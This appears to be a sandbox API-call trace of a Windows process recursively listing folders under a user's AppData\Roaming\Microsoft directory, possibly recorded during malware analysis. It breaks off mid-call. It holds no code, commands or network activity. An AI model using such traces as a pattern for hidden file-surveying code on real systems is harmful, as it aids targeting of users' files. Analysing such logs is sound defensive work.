[0053.412] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0053.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0053.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0053.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.412] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.413] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.413] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.413] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.413] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.413] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0053.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.413] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.413] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.413] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.413] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0053.413] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0053.413] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0053.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0053.413] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.413] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.414] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.414] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0053.414] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0053.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.414] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.414] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0053.414] lstrcmpW (lpString1="IME12", lpString2=".") returned 1 [0053.414] lstrcmpW (lpString1="IME12", lpString2="..") returned 1 [0053.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0053.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.414] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.589] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.589] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.589] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.589] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.589] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.589] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.589] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.590] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.590] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.590] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0053.590] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0053.590] lstrcmpW (lpString1="IMJP12", lpString2=".") returned 1 [0053.590] lstrcmpW (lpString1="IMJP12", lpString2="..") returned 1 [0053.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.590] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.590] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.590] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.591] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.591] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.591] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.591] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0053.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.591] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.591] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.591] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0053.591] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.591] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0053.591] lstrcmpW (lpString1="IMJP8_1", lpString2=".") returned 1 [0053.591] lstrcmpW (lpString1="IMJP8_1", lpString2="..") returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.592] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.592] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0053.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.592] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.592] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.592] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.592] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0053.592] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0053.593] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0053.593] lstrcmpW (lpString1="IMJP9_0", lpString2=".") returned 1 [0053.593] lstrcmpW (lpString1="IMJP9_0", lpString2="..") returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.593] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.593] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.593] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0053.593] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.593] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.593] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.594] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0053.594] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x5dad60, 